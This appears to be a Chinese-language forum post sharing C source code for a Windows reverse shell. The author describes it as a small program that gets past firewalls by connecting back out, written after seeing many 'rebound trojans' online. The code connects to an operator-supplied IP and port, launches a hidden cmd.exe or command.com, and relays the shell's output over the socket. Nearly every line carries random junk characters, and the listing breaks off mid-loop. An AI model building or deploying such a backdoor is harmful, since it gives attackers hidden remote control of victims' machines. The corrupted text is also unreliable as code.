这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ` Ig5*X4|
5Tl5T&
/* ============================== 6 >kU Lp
Rebound port in Windows NT )iN;1>
By wind,2006/7 P $`1}
===============================*/ SXL3>-Z E
#include D3Q+K
#include io#}z4"'qY
gFaZ ._
#pragma comment(lib,"wsock32.lib") tYjG8P#
o}AXp@cqi
void OutputShell(); #
-'A
=j
SOCKET sClient; ('&lAn
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {ZeY:\G~
65LtCQ}
void main(int argc,char **argv) 't<iB&wgF
{ Hx#YN*\.M
WSADATA stWsaData; I*rUe#$
int nRet; S!?T0c?>
SOCKADDR_IN stSaiClient,stSaiServer; ^to*ET{0
{hS!IOM
if(argc != 3) ^6W}ZLp
{ ^>|ZN2
printf("Useage:\n\rRebound DestIP DestPort\n"); 7@c!4hmrU
return; K=f4<tP_
} K,S4
j97+'AKX
WSAStartup(MAKEWORD(2,2),&stWsaData); lNe4e6
I!/32* s1t
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,3:f4e\<
!u7KgB<=/F
stSaiClient.sin_family = AF_INET; )LP'4*
stSaiClient.sin_port = htons(0); }c,b]!:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IyO0~Vx>
lelmX
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MIJuJ]U}
{ :w8{BIUN)
printf("Bind Socket Failed!\n"); r5j$FwY
return; T!jh`;D+
} _T)y5/[
V!:!c]8F
stSaiServer.sin_family = AF_INET; Jh+;+"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $yO B-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KM &P5}
#S7oW@
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l!p`g>$&f
{ - (s0f
printf("Connect Error!"); Xqf\}p n
return; ?+}Su'pv}
} VxY]0&sq
OutputShell(); 5*z>ez2YQ7
} 19fa7E<
[Qs`@u<%
void OutputShell() Zfs-M)
{ a?gF;AYk
char szBuff[1024]; ~~yng-3)1
SECURITY_ATTRIBUTES stSecurityAttributes; ?8
}pZ_ j
OSVERSIONINFO stOsversionInfo; A f`Kg-c_(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; NDRDP D
STARTUPINFO stStartupInfo; )?{<Tt@
char *szShell; Oti;wf G7o
PROCESS_INFORMATION stProcessInformation; D5"5`w=C
unsigned long lBytesRead; W'6DwV|
IJf%OA>v
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v7(7WfqP
/Am9w$_T[
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B~:yM1f@u4
stSecurityAttributes.lpSecurityDescriptor = 0; Dbn~~P
stSecurityAttributes.bInheritHandle = TRUE; 45 biy(qa
r(^00hvH
DVd8Ix <
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .]>Tj^1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kw59`z Es
-UEi
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :s_o'8z7L
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Ji[ ;wy@
stStartupInfo.wShowWindow = SW_HIDE; |ts0j/A]Pi
stStartupInfo.hStdInput = hReadPipe; ltOS()[X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1tbA-+
jNxTy UU
GetVersionEx(&stOsversionInfo); &wi+)d
]2u
switch(stOsversionInfo.dwPlatformId) ";U~wZW_
{ !$98U~L
case 1: huqtk4u
szShell = "command.com"; KY&Lv^1_|
break; o"Xv)#g&
default: 6EC',=)6R
szShell = "cmd.exe"; cPcH
8Vd
break; ,LZA\XC
} lAnOO5@8
;tQc{8O6L
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q=^;lWs4
cQ1[x>OcU
send(sClient,szMsg,77,0); 8}yrsF#
while(1) O+&;,R:
{ ;):;H?WS|A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [+FiD
if(lBytesRead) #i~P])%gNP
{ :PV3J0pB~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S\ak(<X
send(sClient,szBuff,lBytesRead,0); 7&